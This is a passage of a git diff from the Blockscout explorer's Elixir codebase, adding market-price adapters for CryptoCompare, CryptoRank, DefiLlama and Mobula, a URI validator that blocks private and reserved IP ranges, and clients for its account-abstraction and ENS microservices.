Source + def tvl_history_fetching_enabled?, do: :ignore + + @impl Source + def fetch_tvl_history(_previous_days), do: :ignore + + defp do_fetch_coin_price_history(previous_days, secondary_coin?) do + with coin_symbol when not is_nil(coin_symbol) <- + if(secondary_coin?, do: config(:secondary_coin_symbol), else: config(:coin_symbol)), + {:ok, %{"Data" => %{"Data" => data}}} <- + Source.http_request( + :base_url + |> config() + |> URI.parse() + |> URI.append_path("/data/v2/histoday") + |> URI.append_query("fsym=#{coin_symbol}") + |> URI.append_query("limit=#{previous_days}") + |> URI.append_query("tsym=#{config(:currency)}") + |> URI.append_query("extraParams=Blockscout/#{Application.spec(:explorer)[:vsn]}") + |> URI.to_string(), + headers() + ) do + result = + for item <- data do + %{ + closing_price: Source.to_decimal(item["close"]), + date: Helper.unix_timestamp_to_date(item["time"]), + opening_price: Source.to_decimal(item["open"]), + secondary_coin: secondary_coin? + } + end + + {:ok, result} + else + nil -> {:error, "#{Source.secondary_coin_string(secondary_coin?)} ID not specified"} + {:ok, nil} -> {:ok, []} + {:ok, unexpected_response} -> {:error, Source.unexpected_response_error("CryptoCompare", unexpected_response)} + {:error, _reason} = error -> error + end + end + + defp headers do + if config(:api_key) do + [{"Authorization", "Apikey #{config(:api_key)}"}] + else + [] + end + end + + @spec config(atom()) :: term + defp config(key) do + Application.get_env(:explorer, __MODULE__)[key] + end +end diff --git a/apps/explorer/lib/explorer/market/source/crypto_rank.ex b/apps/explorer/lib/explorer/market/source/crypto_rank.ex new file mode 100644 index 000000000000..100ea511afc9 --- /dev/null +++ b/apps/explorer/lib/explorer/market/source/crypto_rank.ex @@ -0,0 +1,198 @@ +defmodule Explorer.Market.Source.CryptoRank do + @moduledoc """ + Adapter for fetching market history from https://cryptorank.io/. + """ + + alias Explorer.Chain.Hash + alias Explorer.Market.{Source, Token} + + @behaviour Source + + @impl Source + def native_coin_fetching_enabled?, do: not is_nil(config(:coin_id)) + + @impl Source + def fetch_native_coin, do: do_fetch_coin(config(:coin_id), "Coin ID not specified") + + @impl Source + def secondary_coin_fetching_enabled?, do: not is_nil(config(:secondary_coin_id)) + + @impl Source + def fetch_secondary_coin, do: do_fetch_coin(config(:secondary_coin_id), "Secondary coin ID not specified") + + @impl Source + def tokens_fetching_enabled?, do: not is_nil(config(:platform)) + + @impl Source + def fetch_tokens(nil, batch_size), do: fetch_tokens(0, batch_size) + + @impl Source + def fetch_tokens(skip, batch_size) do + with platform_id when not is_nil(platform_id) <- config(:platform), + {:ok, %{"data" => tokens}} when is_list(tokens) <- + Source.http_request( + base_url() + |> URI.append_path("/dedicated/blockscout/currencies/contracts/#{platform_id}") + |> URI.append_query("limit=#{batch_size}") + |> URI.append_query("skip=#{skip}") + |> URI.to_string(), + headers() + ) do + {tokens_to_import, initial_tokens_len} = + tokens |> Enum.reduce({[], 0}, &reduce_token(platform_id, &1, &2)) + + fetch_finished? = initial_tokens_len < batch_size + new_state = if fetch_finished?, do: nil, else: skip + batch_size + {:ok, new_state, fetch_finished?, tokens_to_import} + else + nil -> {:error, "Platform ID not specified"} + {:ok, unexpected_response} -> {:error, Source.unexpected_response_error("CryptoRank", unexpected_response)} + {:error, _reason} = error -> error + end + end + + defp reduce_token(platform_id, %{"contracts" => [_ | _] = tokens} = token, {tokens_to_import, count}) do + tokens + |> Enum.find_value(fn + %{"chainId" => ^platform_id, "address" => token_contract_address_hash_string} -> + case Hash.Address.cast(token_contract_address_hash_string) do + {:ok, token_contract_address_hash} -> + fiat_value = Source.to_decimal(token["priceUSD"]) + circulating_supply = Source.to_decimal(token["circulatingSupply"]) + + %{ + symbol: token["symbol"], + name: token["name"], + fiat_value: fiat_value, + volume_24h: Source.to_decimal(token["volume24hUSD"]), + circulating_market_cap: circulating_supply && fiat_value && Decimal.mult(fiat_value, circulating_supply), + contract_address_hash: token_contract_address_hash, + type: "ERC-20" + } + + _ -> + false + end + + _ -> + false + end) + |> case do + nil -> {tokens_to_import, count + 1} + token -> {[token | tokens_to_import], count + 1} + end + end + + defp reduce_token(_, _, {tokens, count}), do: {tokens, count + 1} + + @impl Source + def native_coin_price_history_fetching_enabled?, do: not is_nil(config(:coin_id)) + + @impl Source + def fetch_native_coin_price_history(previous_days), do: do_fetch_coin_price_history(previous_days, false) + + @impl Source + def secondary_coin_price_history_fetching_enabled?, do: not is_nil(config(:secondary_coin_id)) + + @impl Source + def fetch_secondary_coin_price_history(previous_days), do: do_fetch_coin_price_history(previous_days, true) + + @impl Source + def market_cap_history_fetching_enabled?, do: :ignore + + @impl Source + def fetch_market_cap_history(_previous_days), do: :ignore + + @impl Source + def tvl_history_fetching_enabled?, do: :ignore + + @impl Source + def fetch_tvl_history(_previous_days), do: :ignore + + defp do_fetch_coin(coin_id, coin_id_not_specified_error) do + with coin_id when not is_nil(coin_id) <- coin_id, + {:ok, %{"data" => coin}} <- + Source.http_request(base_url() |> URI.append_path("/currencies/#{coin_id}") |> URI.to_string(), headers()) do + coin_data = coin["values"][config(:currency)] + + {:ok, + %Token{ + available_supply: Source.to_decimal(coin["circulatingSupply"]), + total_supply: Source.to_decimal(coin["totalSupply"]) || Source.to_decimal(coin["circulatingSupply"]), + btc_value: Source.to_decimal(coin["values"]["BTC"]["price"]), + last_updated: Source.maybe_get_date(coin["lastUpdated"]), + market_cap: Source.to_decimal(coin_data["marketCap"]), + tvl: nil, + name: coin["name"], + symbol: String.upcase(coin["symbol"]), + fiat_value: Source.to_decimal(coin_data["price"]), + volume_24h: Source.to_decimal(coin_data["volume24h"]), + image_url: Source.handle_image_url(coin["images"]["60x60"] || coin["images"]["16x16"]) + }} + else + nil -> {:error, coin_id_not_specified_error} + {:ok, unexpected_response} -> {:error, Source.unexpected_response_error("CryptoRank", unexpected_response)} + {:error, _reason} = error -> error + end + end + + defp do_fetch_coin_price_history(previous_days, secondary_coin?) do + with coin_id when not is_nil(coin_id) <- + if(secondary_coin?, do: config(:secondary_coin_id), else: config(:coin_id)), + from = Date.utc_today() |> Date.add(-previous_days) |> Date.to_iso8601(), + to = Date.utc_today() |> Date.to_iso8601(), + {:ok, %{"data" => %{"dates" => dates, "prices" => opening_prices}}} <- + Source.http_request( + base_url() + |> URI.append_path("/currencies/#{coin_id}/sparkline") + |> URI.append_query("interval=1d") + |> URI.append_query("from=#{from}") + |> URI.append_query("to=#{to}") + |> URI.to_string(), + headers() + ) do + closing_prices = + case opening_prices do + [_ | closing_prices] -> closing_prices + _ -> [] + end + + result = + [dates, opening_prices, Stream.concat(closing_prices, [nil])] + |> Enum.zip_with(fn [date, opening_price, closing_price] -> + date = Source.maybe_get_date(date) + + %{ + closing_price: Source.to_decimal(closing_price) || Source.to_decimal(opening_price), + date: date && DateTime.to_date(date), + opening_price: Source.to_decimal(opening_price), + secondary_coin: secondary_coin? + } + end) + + {:ok, result} + else + nil -> {:error, "#{Source.secondary_coin_string(secondary_coin?)} ID not specified"} + {:ok, nil} -> {:ok, []} + {:ok, unexpected_response} -> {:error, Source.unexpected_response_error("CryptoRank", unexpected_response)} + {:error, _reason} = error -> error + end + end + + defp base_url do + if config(:api_key) do + :base_url |> config() |> URI.parse() |> URI.append_query("api_key=#{config(:api_key)}") + else + :base_url |> config() |> URI.parse() + end + end + + defp headers do + [] + end + + @spec config(atom()) :: term + defp config(key) do + Application.get_env(:explorer, __MODULE__)[key] + end +end diff --git a/apps/explorer/lib/explorer/market/source/defillama.ex b/apps/explorer/lib/explorer/market/source/defillama.ex new file mode 100644 index 000000000000..a92fa667daab --- /dev/null +++ b/apps/explorer/lib/explorer/market/source/defillama.ex @@ -0,0 +1,87 @@ +defmodule Explorer.Market.Source.DefiLlama do + @moduledoc """ + Adapter for fetching market history from https://defillama.com/. + """ + + alias Explorer.Helper + alias Explorer.Market.Source + + @behaviour Source + + @impl Source + def native_coin_fetching_enabled?, do: :ignore + + @impl Source + def fetch_native_coin, do: :ignore + + @impl Source + def secondary_coin_fetching_enabled?, do: :ignore + + @impl Source + def fetch_secondary_coin, do: :ignore + + @impl Source + def tokens_fetching_enabled?, do: :ignore + + @impl Source + def fetch_tokens(_state, _batch_size), do: :ignore + + @impl Source + def native_coin_price_history_fetching_enabled?, do: :ignore + + @impl Source + def fetch_native_coin_price_history(_previous_days), do: :ignore + + @impl Source + def secondary_coin_price_history_fetching_enabled?, do: :ignore + + @impl Source + def fetch_secondary_coin_price_history(_previous_days), do: :ignore + + @impl Source + def market_cap_history_fetching_enabled?, do: :ignore + + @impl Source + def fetch_market_cap_history(_previous_days), do: :ignore + + @impl Source + def tvl_history_fetching_enabled?, do: not is_nil(config(:coin_id)) + + @impl Source + def fetch_tvl_history(_previous_days) do + with coin_id when not is_nil(coin_id) <- config(:coin_id), + {:ok, data} when is_list(data) <- + Source.http_request( + base_url() |> URI.append_path("/historicalChainTvl/#{URI.encode(coin_id)}") |> URI.to_string(), + headers() + ) do + result = + Enum.map(data, fn %{"date" => date, "tvl" => tvl} -> + %{ + tvl: Source.to_decimal(tvl), + date: Helper.unix_timestamp_to_date(date) + } + end) + + {:ok, result} + else + nil -> {:error, "Coin ID not specified"} + {:ok, nil} -> {:ok, []} + {:ok, unexpected_response} -> {:error, Source.unexpected_response_error("DefiLlama", unexpected_response)} + {:error, _reason} = error -> error + end + end + + defp base_url do + URI.parse(config(:base_url)) + end + + defp headers do + [] + end + + @spec config(atom()) :: term + defp config(key) do + Application.get_env(:explorer, __MODULE__)[key] + end +end diff --git a/apps/explorer/lib/explorer/market/source/mobula.ex b/apps/explorer/lib/explorer/market/source/mobula.ex new file mode 100644 index 000000000000..ed6756e04117 --- /dev/null +++ b/apps/explorer/lib/explorer/market/source/mobula.ex @@ -0,0 +1,184 @@ +defmodule Explorer.Market.Source.Mobula do + @moduledoc """ + Adapter for fetching exchange rates from https://mobula.io + """ + + alias Explorer.Chain.Hash + alias Explorer.Helper + alias Explorer.Market.{Source, Token} + + @behaviour Source + + @impl Source + def native_coin_fetching_enabled?, do: not is_nil(config(:coin_id)) + + @impl Source + def fetch_native_coin, do: do_fetch_coin(config(:coin_id), "Coin ID not specified") + + @impl Source + def secondary_coin_fetching_enabled?, do: not is_nil(config(:secondary_coin_id)) + + @impl Source + def fetch_secondary_coin, do: do_fetch_coin(config(:secondary_coin_id), "Secondary coin ID not specified") + + @impl Source + def tokens_fetching_enabled?, do: not is_nil(config(:platform)) + + @impl Source + def fetch_tokens(nil, batch_size) do + fetch_tokens(0, batch_size) + end + + def fetch_tokens(offset, batch_size) do + with platform_id when not is_nil(platform_id) <- config(:platform), + {:ok, tokens} when is_list(tokens) <- + Source.http_request( + base_url() + |> URI.append_path("/market/query") + |> URI.append_query("sortBy=market_cap") + |> URI.append_query("blockchain=#{platform_id}") + |> URI.append_query("limit=#{batch_size}") + |> URI.append_query("offset=#{offset}") + |> URI.to_string(), + headers() + ) do + {tokens_to_import, initial_tokens_len} = + Enum.reduce(tokens, {[], 0}, fn token, {to_import, count} -> + address_hash = token["contracts"] && List.first(token["contracts"])["address"] + + case address_hash && Hash.Address.cast(address_hash) do + {:ok, token_contract_address_hash} -> + token_to_import = %{ + symbol: token["symbol"], + name: token["name"], + fiat_value: Source.to_decimal(token["price"]), + volume_24h: Source.to_decimal(token["off_chain_volume"]), + circulating_market_cap: Source.to_decimal(token["market_cap"]), + icon_url: Source.handle_image_url(token["logo"]), + contract_address_hash: token_contract_address_hash, + type: "ERC-20" + } + + {[token_to_import | to_import], count + 1} + + _ -> + {to_import, count + 1} + end + end) + + {:ok, offset + batch_size, initial_tokens_len < batch_size, tokens_to_import} + else + nil -> {:error, "Platform ID not specified"} + {:ok, unexpected_response} -> {:error, Source.unexpected_response_error("Mobula", unexpected_response)} + {:error, _reason} = error -> error + end + end + + @impl Source + def native_coin_price_history_fetching_enabled?, do: not is_nil(config(:coin_id)) + + @impl Source + def fetch_native_coin_price_history(previous_days), do: do_fetch_coin_price_history(previous_days, false) + + @impl Source + def secondary_coin_price_history_fetching_enabled?, do: not is_nil(config(:secondary_coin_id)) + + @impl Source + def fetch_secondary_coin_price_history(previous_days), do: do_fetch_coin_price_history(previous_days, true) + + @impl Source + def market_cap_history_fetching_enabled?, do: :ignore + + @impl Source + def fetch_market_cap_history(_previous_days), do: :ignore + + @impl Source + def tvl_history_fetching_enabled?, do: :ignore + + @impl Source + def fetch_tvl_history(_previous_days), do: :ignore + + defp do_fetch_coin(coin_id, coin_id_not_specified_error) do + with coin_id when not is_nil(coin_id) <- coin_id, + {:ok, %{"data" => data}} <- + Source.http_request( + base_url() + |> URI.append_path("/market/data") + |> URI.append_query("asset=#{coin_id}") + |> URI.to_string(), + headers() + ) do + {:ok, + %Token{ + available_supply: Source.to_decimal(data["circulating_supply"]), + total_supply: Source.to_decimal(data["total_supply"]) || Source.to_decimal(data["circulating_supply"]), + btc_value: nil, + last_updated: nil, + market_cap: Source.to_decimal(data["market_cap"]), + tvl: nil, + name: data["name"], + symbol: data["symbol"], + fiat_value: Source.to_decimal(data["price"]), + volume_24h: Source.to_decimal(data["off_chain_volume"]), + image_url: Source.handle_image_url(data["logo"]) + }} + else + nil -> + {:error, coin_id_not_specified_error} + + {:ok, unexpected_response} -> + {:error, Source.unexpected_response_error("Mobula", unexpected_response)} + + {:error, _reason} = error -> + error + end + end + + defp do_fetch_coin_price_history(previous_days, secondary_coin?) do + with coin_id when not is_nil(coin_id) <- + if(secondary_coin?, do: config(:secondary_coin_id), else: config(:coin_id)), + timestamp_ms = (DateTime.utc_now() |> DateTime.add(-previous_days, :day) |> DateTime.to_unix()) * 1000, + {:ok, %{"data" => %{"price_history" => price_history}}} <- + Source.http_request( + base_url() + |> URI.append_path("/market/history") + |> URI.append_query("asset=#{coin_id}") + |> URI.append_query("from=#{timestamp_ms}") + |> URI.to_string(), + headers() + ) do + result = + for [date_ms, price] <- price_history do + %{ + closing_price: Source.to_decimal(price), + date: Helper.unix_timestamp_to_date(date_ms, :millisecond), + opening_price: Source.to_decimal(price), + secondary_coin: secondary_coin? + } + end + + {:ok, result} + else + nil -> {:error, "#{Source.secondary_coin_string(secondary_coin?)} ID not specified"} + {:ok, nil} -> {:ok, []} + {:error, _reason} = error -> error + end + end + + defp base_url do + URI.parse(config(:base_url)) + end + + defp headers do + if config(:api_key) do + [{"Authorization", "#{config(:api_key)}"}] + else + [] + end + end + + @spec config(atom()) :: term + defp config(key) do + Application.get_env(:explorer, __MODULE__)[key] + end +end diff --git a/apps/explorer/lib/explorer/market/token.ex b/apps/explorer/lib/explorer/market/token.ex new file mode 100644 index 000000000000..1b5b0797bd2b --- /dev/null +++ b/apps/explorer/lib/explorer/market/token.ex @@ -0,0 +1,56 @@ +defmodule Explorer.Market.Token do + @moduledoc """ + Data container for modeling an exchange rate for a currency/token. + """ + + @typedoc """ + Represents an exchange rate for a given token. + + * `:available_supply` - Available supply of a token + * `:total_supply` - Max Supply + * `:btc_value` - The Bitcoin value of the currency + * `:id` - ID of a currency + * `:last_updated` - Timestamp of when the value was last updated + * `:market_cap` - Market capitalization of the currency + * `:tvl` - Token value locked of the currency + * `:name` - Human-readable name of a ticker + * `:symbol` - Trading symbol used to represent a currency + * `:fiat_value` - The fiat value of the currency + * `:volume_24h` - The volume from the last 24 hours + * `:image_url` - Token image URL + """ + @type t :: %__MODULE__{ + available_supply: Decimal.t() | nil, + total_supply: Decimal.t() | nil, + btc_value: Decimal.t() | nil, + last_updated: DateTime.t() | nil, + market_cap: Decimal.t() | nil, + tvl: Decimal.t() | nil, + name: String.t() | nil, + symbol: String.t() | nil, + fiat_value: Decimal.t() | nil, + volume_24h: Decimal.t() | nil, + image_url: String.t() | nil + } + + @derive Jason.Encoder + @enforce_keys ~w(available_supply total_supply btc_value last_updated market_cap tvl name symbol fiat_value volume_24h image_url)a + defstruct ~w(available_supply total_supply btc_value last_updated market_cap tvl name symbol fiat_value volume_24h image_url)a + + def null, + do: %__MODULE__{ + available_supply: nil, + total_supply: nil, + btc_value: nil, + last_updated: nil, + market_cap: nil, + tvl: nil, + name: nil, + symbol: nil, + fiat_value: nil, + volume_24h: nil, + image_url: nil + } + + def null?(token), do: token == null() +end diff --git a/apps/explorer/lib/explorer/metadata_uri_validator.ex b/apps/explorer/lib/explorer/metadata_uri_validator.ex new file mode 100644 index 000000000000..44d59135fc8b --- /dev/null +++ b/apps/explorer/lib/explorer/metadata_uri_validator.ex @@ -0,0 +1,129 @@ +defmodule Explorer.MetadataURIValidator do + @moduledoc """ + Validates metadata URI + """ + + require Logger + + @reserved_ranges [ + # Current (local, "this") network + "0.0.0.0/8", + # Used for local communications within a private network + "10.0.0.0/8", + # [Shared address space](https://en.wikipedia.org/wiki/IPv4_shared_address_space) for communications between a service provider and its subscribers when using a carrier-grade NAT + "100.64.0.0/10", + # Used for [loopback addresses](https://en.wikipedia.org/wiki/Loopback_address) to the local host + "127.0.0.0/8", + # Used for [link-local addresses](https://en.wikipedia.org/wiki/Link-local_address) between two hosts on a single link when no IP address is otherwise specified, such as would have normally been retrieved from a DHCP server + "169.254.0.0/16", + # Used for local communications within a private network + "172.16.0.0/12", + # IETF Protocol Assignments, [DS-Lite](https://en.wikipedia.org/wiki/DS-Lite) + "192.0.0.0/29", + # Assigned as TEST-NET-1, documentation and examples + "192.0.2.0/24", + # Reserved. Formerly used for IPv6 to IPv4 relay (included IPv6 address block) + "192.88.99.0/24", + # Used for local communications within a private network + "192.168.0.0/16", + # Used for benchmark testing of inter-network communications between two separate subnets + "198.18.0.0/15", + # Assigned as TEST-NET-2, documentation and examples + "198.51.100.0/24", + # Assigned as TEST-NET-3, documentation and examples + "203.0.113.0/24", + # In use for [multicast](https://en.wikipedia.org/wiki/IP_multicast) (former Class D network) + "224.0.0.0/4", + # Reserved for future use (former Class E network) + "240.0.0.0/4", + # Reserved for the "limited [broadcast](https://en.wikipedia.org/wiki/Broadcast_address)" destination address + "255.255.255.255/32" + ] + + @doc """ + Validates the given URI. + + ## Parameters + - uri: The URI to be validated. + + ## Returns + - :ok if the URI is valid. + - {:error, reason} if the URI is invalid. + + ## Examples + + iex> validate_uri("https://example.com") + :ok + + iex> validate_uri("invalid_uri") + {:error, :empty_host} + + iex> validate_uri("https://not_existing_domain.com") + {:error, :nxdomain} + """ + @spec validate_uri(String.t()) :: :ok | {:error, atom()} + def validate_uri(uri) do + with {:not_printable, false} <- {:not_printable, not String.printable?(uri)}, + {:empty_host, %URI{host: host, scheme: scheme}} when host not in ["", nil] <- {:empty_host, URI.parse(uri)}, + {:disallowed_protocol, false} <- {:disallowed_protocol, scheme not in allowed_uri_protocols()}, + {:nxdomain, ip_list} when not is_nil(ip_list) <- {:nxdomain, host_to_ip_list(host)}, + {:blacklist, false} <- {:blacklist, not Enum.all?(ip_list, &allowed_ip?/1)} do + :ok + else + {reason, _} -> + {:error, reason} + end + end + + @spec host_to_ip_list(String.t()) :: [tuple()] | nil + defp host_to_ip_list(host) do + host + |> to_charlist() + |> :inet.parse_address() + |> case do + {:ok, ip} -> + [ip] + + {:error, :einval} -> + case DNS.resolve(host) do + {:ok, ip_list} -> ip_list + {:error, _reason} -> nil + end + end + end + + @spec allowed_ip?(tuple()) :: boolean() + defp allowed_ip?(ip) do + not Enum.any?(prepare_cidr_blacklist(), fn range -> + range + |> InetCidr.contains?(ip) + end) + end + + defp prepare_cidr_blacklist do + from_cache = :persistent_term.get(:parsed_cidr_list, nil) + + from_cache || + ( + cidr_list = + (Application.get_env(:indexer, Indexer.Fetcher.TokenInstance.Helper)[:cidr_blacklist] ++ @reserved_ranges) + |> Enum.flat_map(fn cidr -> + case InetCidr.parse_cidr(cidr) do + {:ok, cidr} -> + [cidr] + + _ -> + Logger.warning("Invalid CIDR range: #{inspect(cidr)}") + [] + end + end) + + :persistent_term.put(:parsed_cidr_list, cidr_list) + cidr_list + ) + end + + defp allowed_uri_protocols do + Application.get_env(:indexer, Indexer.Fetcher.TokenInstance.Helper)[:allowed_uri_protocols] + end +end diff --git a/apps/explorer/lib/explorer/microservice_interfaces/account_abstraction.ex b/apps/explorer/lib/explorer/microservice_interfaces/account_abstraction.ex new file mode 100644 index 000000000000..9d471447ae0d --- /dev/null +++ b/apps/explorer/lib/explorer/microservice_interfaces/account_abstraction.ex @@ -0,0 +1,221 @@ +defmodule Explorer.MicroserviceInterfaces.AccountAbstraction do + @moduledoc """ + Interface to interact with Blockscout Account Abstraction (EIP-4337) microservice + """ + + alias Explorer.HttpClient + alias Explorer.Utility.Microservice + require Logger + + @doc """ + Get user operation by hash via GET {{baseUrl}}/api/v1/userOps/:hash + """ + @spec get_user_ops_by_hash(binary()) :: {non_neg_integer(), map()} | {:error, :disabled} + def get_user_ops_by_hash(user_operation_hash_string) do + with :ok <- Microservice.check_enabled(__MODULE__) do + query_params = %{} + + http_get_request(operation_by_hash_url(user_operation_hash_string), query_params) + end + end + + @doc """ + Get operations list via GET {{baseUrl}}/api/v1/operations + """ + @spec get_operations(map()) :: {non_neg_integer(), map()} | {:error, :disabled} + def get_operations(query_params) do + with :ok <- Microservice.check_enabled(__MODULE__) do + http_get_request(operations_url(), query_params) + end + end + + @doc """ + Get bundler by address hash via GET {{baseUrl}}/api/v1/bundlers/:address + """ + @spec get_bundler_by_hash(binary()) :: {non_neg_integer(), map()} | {:error, :disabled} + def get_bundler_by_hash(address_hash_string) do + with :ok <- Microservice.check_enabled(__MODULE__) do + query_params = %{} + + http_get_request(bundler_by_hash_url(address_hash_string), query_params) + end + end + + @doc """ + Get bundlers list via GET {{baseUrl}}/api/v1/bundlers + """ + @spec get_bundlers(map()) :: {non_neg_integer(), map()} | {:error, :disabled} + def get_bundlers(query_params) do + with :ok <- Microservice.check_enabled(__MODULE__) do + http_get_request(bundlers_url(), query_params) + end + end + + @doc """ + Get factory by address hash via GET {{baseUrl}}/api/v1/factories/:address + """ + @spec get_factory_by_hash(binary()) :: {non_neg_integer(), map()} | {:error, :disabled} + def get_factory_by_hash(address_hash_string) do + with :ok <- Microservice.check_enabled(__MODULE__) do + query_params = %{} + + http_get_request(factory_by_hash_url(address_hash_string), query_params) + end + end + + @doc """ + Get factories list via GET {{baseUrl}}/api/v1/factories + """ + @spec get_factories(map()) :: {non_neg_integer(), map()} | {:error, :disabled} + def get_factories(query_params) do + with :ok <- Microservice.check_enabled(__MODULE__) do + http_get_request(factories_url(), query_params) + end + end + + @doc """ + Get paymaster by address hash via GET {{baseUrl}}/api/v1/paymasters/:address + """ + @spec get_paymaster_by_hash(binary()) :: {non_neg_integer(), map()} | {:error, :disabled} + def get_paymaster_by_hash(address_hash_string) do + with :ok <- Microservice.check_enabled(__MODULE__) do + query_params = %{} + + http_get_request(paymaster_by_hash_url(address_hash_string), query_params) + end + end + + @doc """ + Get paymasters list via GET {{baseUrl}}/api/v1/paymasters + """ + @spec get_paymasters(map()) :: {non_neg_integer(), map()} | {:error, :disabled} + def get_paymasters(query_params) do + with :ok <- Microservice.check_enabled(__MODULE__) do + http_get_request(paymasters_url(), query_params) + end + end + + @doc """ + Get account by address hash via GET {{baseUrl}}/api/v1/accounts/:address + """ + @spec get_account_by_hash(binary()) :: {non_neg_integer(), map()} | {:error, :disabled} + def get_account_by_hash(address_hash_string) do + with :ok <- Microservice.check_enabled(__MODULE__) do + query_params = %{} + + http_get_request(account_by_hash_url(address_hash_string), query_params) + end + end + + @doc """ + Get accounts list via GET {{baseUrl}}/api/v1/accounts + """ + @spec get_accounts(map()) :: {non_neg_integer(), map()} | {:error, :disabled} + def get_accounts(query_params) do + with :ok <- Microservice.check_enabled(__MODULE__) do + http_get_request(accounts_url(), query_params) + end + end + + @doc """ + Get bundles list via GET {{baseUrl}}/api/v1/bundles + """ + @spec get_bundles(map()) :: {non_neg_integer(), map()} | {:error, :disabled} + def get_bundles(query_params) do + with :ok <- Microservice.check_enabled(__MODULE__) do + http_get_request(bundles_url(), query_params) + end + end + + @doc """ + Get status via GET {{baseUrl}}/api/v1/status + """ + @spec get_status(map()) :: {non_neg_integer(), map()} | {:error, :disabled} + def get_status(query_params) do + with :ok <- Microservice.check_enabled(__MODULE__) do + http_get_request(status_url(), query_params) + end + end + + defp http_get_request(url, query_params) do + case HttpClient.get(url, [], params: query_params) do + {:ok, %{body: body, status_code: status_code}} + when status_code in [200, 404] -> + {:ok, response_json} = Jason.decode(body) + {status_code, response_json} + + {_, %{body: body, status_code: status_code} = error} -> + old_truncate = Application.get_env(:logger, :truncate) + Logger.configure(truncate: :infinity) + + Logger.error(fn -> + [ + "Error while sending request to Account Abstraction microservice url: #{url}: ", + inspect(error, limit: :infinity, printable_limit: :infinity) + ] + end) + + Logger.configure(truncate: old_truncate) + {:ok, response_json} = Jason.decode(body) + {status_code, response_json} + + {:error, reason} -> + {500, %{error: reason}} + end + end + + @spec enabled?() :: boolean + def enabled?, do: Application.get_env(:explorer, __MODULE__)[:enabled] + + defp operation_by_hash_url(user_op_hash) do + "#{base_url()}/userOps/#{user_op_hash}" + end + + defp operations_url do + "#{base_url()}/userOps" + end + + defp bundler_by_hash_url(address_hash) do + "#{base_url()}/bundlers/#{address_hash}" + end + + defp bundlers_url do + "#{base_url()}/bundlers" + end + + defp factory_by_hash_url(address_hash) do + "#{base_url()}/factories/#{address_hash}" + end + + defp factories_url do + "#{base_url()}/factories" + end + + defp paymaster_by_hash_url(address_hash) do + "#{base_url()}/paymasters/#{address_hash}" + end + + defp paymasters_url do + "#{base_url()}/paymasters" + end + + defp account_by_hash_url(address_hash) do + "#{base_url()}/accounts/#{address_hash}" + end + + defp accounts_url do + "#{base_url()}/accounts" + end + + defp bundles_url do + "#{base_url()}/bundles" + end + + defp status_url do + "#{base_url()}/status" + end + + defp base_url do + "#{Microservice.base_url(__MODULE__)}/api/v1" + end +end diff --git a/apps/explorer/lib/explorer/microservice_interfaces/bens.ex b/apps/explorer/lib/explorer/microservice_interfaces/bens.ex new file mode 100644 index 000000000000..14dbc8829e57 --- /dev/null +++ b/apps/explorer/lib/explorer/microservice_interfaces/bens.ex @@ -0,0 +1,254 @@ +defmodule Explorer.MicroserviceInterfaces.BENS do + @moduledoc """ + Interface to interact with Blockscout ENS microservice + """ + + alias Explorer.{Chain, HttpClient} + alias Explorer.Chain.Address.MetadataPreloader + + alias Explorer.Chain.{Address, Transaction} + + alias Explorer.Utility.Microservice + + require Logger + + import Explorer.Chain.Address.MetadataPreloader, only: [maybe_preload_meta: 3] + + @post_timeout :timer.seconds(5) + @request_error_msg "Error while sending request to BENS microservice" + + @doc """ + Batch request for ENS names via POST {{baseUrl}}/api/v1/:chainId/addresses:batch-resolve-names + """ + @spec ens_names_batch_request([binary()]) :: {:error, :disabled | binary() | Jason.DecodeError.t()} | {:ok, any} + def ens_names_batch_request(addresses) do + with :ok <- Microservice.check_enabled(__MODULE__) do + body = %{ + addresses: Enum.map(addresses, &to_string/1) + } + + http_post_request(batch_resolve_name_url(), body) + end + end + + @doc """ + Request for ENS name via GET {{baseUrl}}/api/v1/:chainId/addresses:lookup + """ + @spec address_lookup(binary()) :: {:error, :disabled | binary() | Jason.DecodeError.t()} | {:ok, any} + def address_lookup(address) do + with :ok <- Microservice.check_enabled(__MODULE__) do + query_params = %{ + "address" => to_string(address), + "resolved_to" => true, + "owned_by" => false, + "only_active" => true, + "order" => "ASC" + } + + http_get_request(address_lookup_url(), query_params) + end + end + + @doc """ + Request for ENS name via GET {{baseUrl}}/api/v1/:chainId/addresses/{address_hash} + """ + @spec get_address(binary()) :: map() | nil + def get_address(address) do + result = + with :ok <- Microservice.check_enabled(__MODULE__) do + http_get_request(get_address_url(address), nil) + end + + parse_get_address_response(result) + end + + @doc """ + Lookup for ENS domain name via GET {{baseUrl}}/api/v1/:chainId/domains:lookup + """ + @spec ens_domain_lookup(binary()) :: {:error, :disabled | binary() | Jason.DecodeError.t()} | {:ok, any} + def ens_domain_lookup(domain) do + with :ok <- Microservice.check_enabled(__MODULE__) do + query_params = %{ + "name" => domain, + "only_active" => true, + "sort" => "registration_date", + "order" => "DESC" + } + + http_get_request(domain_lookup_url(), query_params) + end + end + + @doc """ + Request for ENS name via GET {{baseUrl}}/api/v1/:chainId/domains:lookup + """ + @spec ens_domain_name_lookup(binary()) :: + nil | %{address_hash: binary(), expiry_date: any(), name: any(), names_count: integer(), protocol: any()} + def ens_domain_name_lookup(domain) do + domain |> ens_domain_lookup() |> parse_lookup_response() + end + + defp http_post_request(url, body) do + headers = [{"Content-Type", "application/json"}] + + case HttpClient.post(url, Jason.encode!(body), headers, recv_timeout: @post_timeout) do + {:ok, %{body: body, status_code: 200}} -> + Jason.decode(body) + + {_, error} -> + old_truncate = Application.get_env(:logger, :truncate) + Logger.configure(truncate: :infinity) + + Logger.error(fn -> + [ + "Error while sending request to BENS microservice url: #{url}, body: #{inspect(body, limit: :infinity, printable_limit: :infinity)}: ", + inspect(error, limit: :infinity, printable_limit: :infinity) + ] + end) + + Logger.configure(truncate: old_truncate) + {:error, @request_error_msg} + end + end + + defp http_get_request(url, query_params) do + case HttpClient.get(url, [], params: query_params) do + {:ok, %{body: body, status_code: 200}} -> + Jason.decode(body) + + {_, error} -> + old_truncate = Application.get_env(:logger, :truncate) + Logger.configure(truncate: :infinity) + + Logger.error(fn -> + [ + "Error while sending request to BENS microservice url: #{url}: ", + inspect(error, limit: :infinity, printable_limit: :infinity) + ] + end) + + Logger.configure(truncate: old_truncate) + {:error, @request_error_msg} + end + end + + @spec enabled?() :: boolean() + def enabled?, do: Microservice.check_enabled(__MODULE__) == :ok + + defp batch_resolve_name_url do + # workaround for https://github.com/PSPDFKit-labs/bypass/issues/122 + if Mix.env() == :test do + "#{addresses_url()}:batch_resolve_names" + else + "#{addresses_url()}:batch-resolve-names" + end + end + + defp address_lookup_url do + "#{addresses_url()}:lookup" + end + + defp get_address_url(address) do + 